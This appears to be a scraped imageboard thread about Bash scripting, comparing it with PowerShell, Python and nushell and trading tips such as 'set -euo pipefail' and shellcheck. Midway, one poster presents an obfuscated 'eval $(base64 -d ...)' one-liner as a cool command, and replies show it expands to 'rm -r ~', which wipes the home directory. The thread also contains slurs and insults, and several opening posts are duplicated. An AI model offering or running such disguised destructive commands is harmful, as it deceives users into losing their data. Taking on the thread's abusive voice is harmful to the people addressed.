>2) it was designed to be compatible with sh, which is 40 years old
more like 50 years old. I know that Bourne did a rewrite but how much different could it be from the original shell?
The original shell was crazy minimal like a borderline monitor. Bourne shell is arguably what defined the Unix shell, not really what Ken Thompson wrote.
>be Gentoo >some anon reports a build failure with some syntax error in a posix sh script >stare at the fucking script, everything is normal, works with both dash and bash, and about any other posix shell that Gentoo let you pick as /bin/sh.. surely didn't symlink manually to something else >look at his emerge --info more closely >sh zsh 5.9-r4
-u is too restrictive.
It doesn't let you expand environment variables that you know might be unset.
If you have to ensure a specific variable must be set just use ${VAR:?}
I used to write a lot of shell code, scripts with hundreds or even thousands of lines. Nowadays I just use babashka for everything that would be larger than 5 lines of code.
Life is too short to try to remember bash syntax.
Powershell core is cross OS, and yeah the historical garbage baggage is exactly why I dislike bash so much
Tbh im here to shit on bash not to advocate powershell, python is a nice replacement for it as well
Powershell core is cross OS, and yeah the historical garbage baggage is exactly why I dislike bash so much
Tbh im here to shit on bash not to advocate powershell, python is a nice replacement for it as well
pwsh is the future
How exactly is PowerShell better than Bash "in every aspect"? What can it do better?
bash is the freetard version of 70s unix shells. it's much better than the originals, but still heavily limited by POSIX brain worms. improving on it was not at all an achievement
that said unless you're doing windows sysadmin pwsh is still kind of bad, especially when used interactively
One easy example is that parameter parsing is 100x better.
Your scripts get autocomplete on the parameters by default, you don't need to fuck around with writing a custom autocompletion function like you do in bash.
>set -eo pipefail
umm that meme is reddit af and doesnt help with any actual important bash pitfalls whatsoever
If you need the kind of correctness that shellcheck tries to provide, why in the name of God are you even using a shell script?
>set -eo pipefail >shellcheck
bash is obviously not your thing
why don't you write your scripts in an easier language
Seething naggers who cant write good robust scripts.
It's clear that you've never written more than a two line script to call yt-dlp. Kek.
I have a few 100+ line scripts. The only reason they haven't been ported to something saner is because they depend on shell-specific retardation to work.
This is a good resource https://tldp.org/LDP/Bash-Beginners-Guide/html/index.html
Also, run your bash scripts through shellcheck to make sure you're not doing anything stupid.
It's just fluff surrounding backticks and {} expansion. It basically is deobfuscated.
Ohhh I get it. I was just playing around with this, I think it just runs every possible combination of the letters that are inside the curly brackets, which eventually will be "rm -r ~"
I was already aware of the zelda aplay one, but this one puts some more effort into it. Cool to know.
Basically did that with lisp, the main challenge was deliminating between command substitution and pipes as I wanted to treat both as composition. Also I gave shell functions named parameters so (let (square x) (* x x)) expands to square () { local x=$1; echo $(($x * $x)); } it's pretty nice
Nice digits, but Bash isn't complicated. It's very simple, but far from easy.
Languages have certain tradeoffs in making simple things easy while making hard things possible.
Bash makes simple things very, very easy, and many hard things outright impossible.
It has its justifiable place in the spectrum of languages but you'll likely need some other scripting language beside it.
Will something ever replace Bash?
inb4 z-zzzzsh
I said replace.
Call me once it's a default option for most distros or at least all major distros and widely used by global infrastructure and corporate world.
>Will something ever replace Bash?
Literally any other scripting language already can. Bash scripting is shit and only still exists for backward compatability.
tbh doing math in bash is annoying and I can never remember the rules around [] and [[]].
If I can do it simply with bash, I will, but otherwise if it gets more complicated I just do it in python.
>echo "nagger"
wow, so hard
When are we going to address the shell alignment problem so people can't do this?
1) it's 30 years old
2) it was designed to be compatible with sh, which is 40 years old
>2) it was designed to be compatible with sh, which is 40 years old
more like 50 years old. I know that Bourne did a rewrite but how much different could it be from the original shell?
The original shell was crazy minimal like a borderline monitor. Bourne shell is arguably what defined the Unix shell, not really what Ken Thompson wrote.
what filtered you?
I write node scripts
#!/usr/bin/env node
for me it's
#!/usr/bin/tcc -run
#include <stdio.h>
void main(void) {
puts("hello world");
}
wait how that didn't occur to me. i was surprised the other day it worked with zsh
>be Gentoo
>some anon reports a build failure with some syntax error in a posix sh script
>stare at the fucking script, everything is normal, works with both dash and bash, and about any other posix shell that Gentoo let you pick as /bin/sh.. surely didn't symlink manually to something else
>look at his emerge --info more closely
>sh zsh 5.9-r4
Put this at the top of all your bash scripts.
set -eo pipefail
And install "shellcheck" and configure an extension for your editor of choice.
>not set -euo pipefail
shameful display
-u is too restrictive.
It doesn't let you expand environment variables that you know might be unset.
If you have to ensure a specific variable must be set just use ${VAR:?}
it does let you, you just have to be explicit that you are aware of that
e.g. ${VAR:-}
wow, thank you!
every time i wanted to run command with bash strict mode, i had to comment # set ...
>set -eo pipefail
>shellcheck
bash is obviously not your thing
why don't you write your scripts in an easier language
>set -eo pipefail
umm that meme is reddit af and doesnt help with any actual important bash pitfalls whatsoever
If you need the kind of correctness that shellcheck tries to provide, why in the name of God are you even using a shell script?
It's not, you're just retarded.
because you did not read the manual
I used to write a lot of shell code, scripts with hundreds or even thousands of lines. Nowadays I just use babashka for everything that would be larger than 5 lines of code.
Life is too short to try to remember bash syntax.
Shellcheck improved my scripts by 200%
The same problem as Windows. Be compatible with older shell. Also Boomers. At least just works.
It's not, you're just stupid.
bash is an absolute garbage, powershell is so much better in every aspect it's not even funny
PowerShell is fantastic yes, but bash is also adequate and it's built-in to _almost_ every single relevant linux distro.
Hmmm that's true... I'll add -u from now on and see how it goes.
Cuz powershell is newer than bash? Also, it's focus on one OS.
Powershell core is cross OS, and yeah the historical garbage baggage is exactly why I dislike bash so much
Tbh im here to shit on bash not to advocate powershell, python is a nice replacement for it as well
>le dotnet is portable
Lol. Go back to Seattle and don't spread your curry over here on the East Coast.
pwsh is the future
>yeah the historical garbage baggage is exactly why I dislike bash
mkdir AUX
^try doing this on windows, you can't
who cares, retard.
How exactly is PowerShell better than Bash "in every aspect"? What can it do better?
Working with objects is much better than having to sanitize strings
bash is the freetard version of 70s unix shells. it's much better than the originals, but still heavily limited by POSIX brain worms. improving on it was not at all an achievement
that said unless you're doing windows sysadmin pwsh is still kind of bad, especially when used interactively
One easy example is that parameter parsing is 100x better.
Your scripts get autocomplete on the parameters by default, you don't need to fuck around with writing a custom autocompletion function like you do in bash.
Seething naggers who cant write good robust scripts.
It's clear that you've never written more than a two line script to call yt-dlp. Kek.
I have a few 100+ line scripts. The only reason they haven't been ported to something saner is because they depend on shell-specific retardation to work.
poetering made systemd cause he couldnt handle init scripts
imagine not using lastpipe
just use posix sh for scripting, should be more than sufficient
This is a good resource https://tldp.org/LDP/Bash-Beginners-Guide/html/index.html
Also, run your bash scripts through shellcheck to make sure you're not doing anything stupid.
It's not as complicated as the bullshit they try to replace it with (ansible, nix, Goddamn powershell etc.)
Is this the cool terminal commands thread?
eval $(base64 -d "9r-b`{r,h4+w,}{m,,0iA/Q}{,~,uFH-6W,-r,I%DP}`S+sAMU")
boo, get new commands
atleast try something more creative, this is just sad to see
How does this work?
It's just doing bunch of shell{exp,ans,ion} inside `` which put a r and a m together, then a -r, and your homedir from ~
e.g. echo badcommand {-r,~}
The rest is just fluff to obfuscate, including base64.
Is there a way to deobfuscate it or something?
not by removing the eval if it's what you had in mind
Ohhh I get it. I was just playing around with this, I think it just runs every possible combination of the letters that are inside the curly brackets, which eventually will be "rm -r ~"
I was already aware of the zelda aplay one, but this one puts some more effort into it. Cool to know.
It's just fluff surrounding backticks and {} expansion. It basically is deobfuscated.
csh chads rise up
holy shit i need to make a javascript shell or someshit
why did they even come up with shell at the first place, its so retarded
it's a shell.. it gives you a command line and you run commands, at worst with the occasional simple loop
don't treat it like a full blown all purpose interpreted language to write scripts in
Basically did that with lisp, the main challenge was deliminating between command substitution and pipes as I wanted to treat both as composition. Also I gave shell functions named parameters so (let (square x) (* x x)) expands to square () { local x=$1; echo $(($x * $x)); } it's pretty nice
Nice digits, but Bash isn't complicated. It's very simple, but far from easy.
Languages have certain tradeoffs in making simple things easy while making hard things possible.
Bash makes simple things very, very easy, and many hard things outright impossible.
It has its justifiable place in the spectrum of languages but you'll likely need some other scripting language beside it.
>if [ $1 -gt 100 ]
Might as well kill myself.
Will something ever replace Bash?
inb4 z-zzzzsh
I said replace.
Call me once it's a default option for most distros or at least all major distros and widely used by global infrastructure and corporate world.
busybox ash
>Will something ever replace Bash?
Literally any other scripting language already can. Bash scripting is shit and only still exists for backward compatability.
most distros ship python and perl
Bash isn't complicated and is amazing for easily scripting casual shit you need to do. Why did you make this thread? To slide?
Just install nushell and stfu. Better error messages, modern rewrite of builtin commands and most importantly normal syntax for arrays, filtering etc
Why does Bash filter Wintards?
for me it's nushell, really feels like it was made just for me
https://github.com/nushell/nushell
tbh doing math in bash is annoying and I can never remember the rules around [] and [[]].
If I can do it simply with bash, I will, but otherwise if it gets more complicated I just do it in python.
it's probably the least complicated language there is. you might be retarded.